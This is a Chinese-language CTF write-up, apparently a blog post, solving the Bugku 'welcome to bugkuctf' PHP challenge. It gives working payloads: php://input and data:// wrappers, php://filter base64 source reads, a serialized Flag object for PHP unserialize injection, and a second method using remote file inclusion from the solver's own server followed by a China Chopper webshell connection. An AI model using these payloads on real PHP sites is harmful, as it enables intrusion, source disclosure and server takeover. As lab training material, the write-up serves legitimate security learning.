bugku- welcome to bugkuctf【php://filter及php://input】writeup

原题内容:

http://120.24.86.145:8006/test1/

 

首先bp一下,可见提示源码:

首先,分析代码获取四个需求:

1.三个传参

2.$user存在且不为空,

3.读取$user文件,内容为welcome to the bugkuctf,

4.$file要求为hint.php,将其导入

 

txt传入 可以用txt=php://input post传输welcome to the bugkuctf 
也可以 用data协议 txt=data://text/plain,welcome to the bugkuctf 
或者txt=data:text/plain,welcome to the bugkuctf 
返回 hello friend! 
用file=hint.php 没有新的返回 尝试用file=php://filter/convert.base64-encode/resource=hint.php 当有过滤过滤掉read的时候 
或者 file=php://filter/read=convert.base64-encode/resource=hint.php 

 1, php://input 可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GE    T方法提交过来的数据。但是,一般GET方法提交数据 时,http request entity body部分都为空。 
    2,php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-da    ta的数据。

        所以构造payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&passw    ord=     post: welcome to the bugkuctf

        疑问:为什么不直接txt=welcome to the bugkuctf;

        猜测:应该是file_get_contents函数的原因 读取http request entity body 部分的数据 但是上文说过,get方法     提交,http request entity body部分为空所以采用了利用php://input读取输入流的办法。

 

其实比较熟悉就知道两个点可以利用了,php://input与php://filter

php不提了,之前的博客中讲解过,不懂得可以前去看一下

CTF/CTF练习平台-flag在index里【php://filter的利用】

这里讲一下php://input

当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取

这题的效果如下:

加上php://filter的利用,读取hint.php的内容

load url改为:

 

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

可得到base64加密的字符串:

 

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

同理把hint.php改为index.php,顺路看看index的源码:

得到字符串:

 

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

 

解密得到代码:

从上面获取的源码可得到如下信息:

1.提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽

2.hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数

3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

4.在index.php源码中看到了$password的作用

 

这里走进了一个坑,一直在想办法绕过flag关键词的屏蔽,但是限制于php://fliter的格式,一直不得其解

 

正解应该是利用$password

之前说过Flag方法当做字符串执行时,会自动执行 __tostring 方法,注意到echo函数,只能输出一个或多个字符串,所以只要$password为Flag类型数据,且其中string类型的变量$file为flag.php即可

理解到这里,就懂了为啥多一个很奇怪的unserialize函数,其作用即为让你用字符串方式传递一个类

具体函数用法不多说,以前博客中有讲过,不懂可以去一看

实验吧-天网管理系统【php弱类型==与===的利用】 

写个脚本 得出password的 最后要构造的password 序列化的

<?php

class Flag{
    public $file;           //创建一个Flag类
}
$a=new Flag;                //新建一个Flag类   
$a->file="flag.php";         //引用$this->file     file=flag.php
$a=serialize($a);           //序列化$a
print($a);           

?>

定义一共类class 跟hint.php 相同 
执行一下,得到最后password的payload :O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;} 
http://120.24.86.145:8006/test1/?txt=data://text/plain,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} 
file此时就可以不用php://filter了 考虑到include 包含 
echo函数,只能输出一个或多个字符串,所以只要password为Flag类型数据,且其中string类型的变量password为Flag类型数据,且其中string类型的变量file为flag.php即可 
Flag方法当做字符串执行时,会自动执行 __tostring 方法

 

将其作为参数$password传进去,bp可得:

在这里简单说一下php的反序列化

将原来的某个对象进行序列化之后,从序列化后的结果中就可以知道这个对象的具体类型和值

在这里简单说一下序列化后的几个字母的意思,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}为例

  • O(大写):对象class
  • 4:4个字符
  • "Flag":对象名
  • 1:数量,一个
  • s:string
  • {}里的为参数

反序列化可以理解为序列化的的逆运算

--------------------------------------------------------

这里有3个变量 user file pass 用 get 传递

用 file_get_contents 读取 user 判断内容是否等于 welcome to the bugkuctf

之后 include 包含 file

需要一个内容是 welcome to the bugkuctf 的文件 鬼知道文件在哪...

别忘了 file_get_contents 可以读取网络上的文件

file_get_contents('http://www.baidu.com/')

需要一个在自己服务器上新建 a.txt 访问地址就是http://www.baidu.com/a.txt
txt内容为welcome to the bugkuctf

构造链接
bugku CTF welcome Writeup-ChaBug安全
返回 hello friend!

再看看源代码 include($file)

变量可控 存在文件包含 服务器上不知道有哪些文件 那就试试远程

服务器新建 aa.txt
构造链接访问之后
bugku CTF welcome Writeup-ChaBug安全
空白说明包含成功

菜刀连接

flag在flag.php里

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值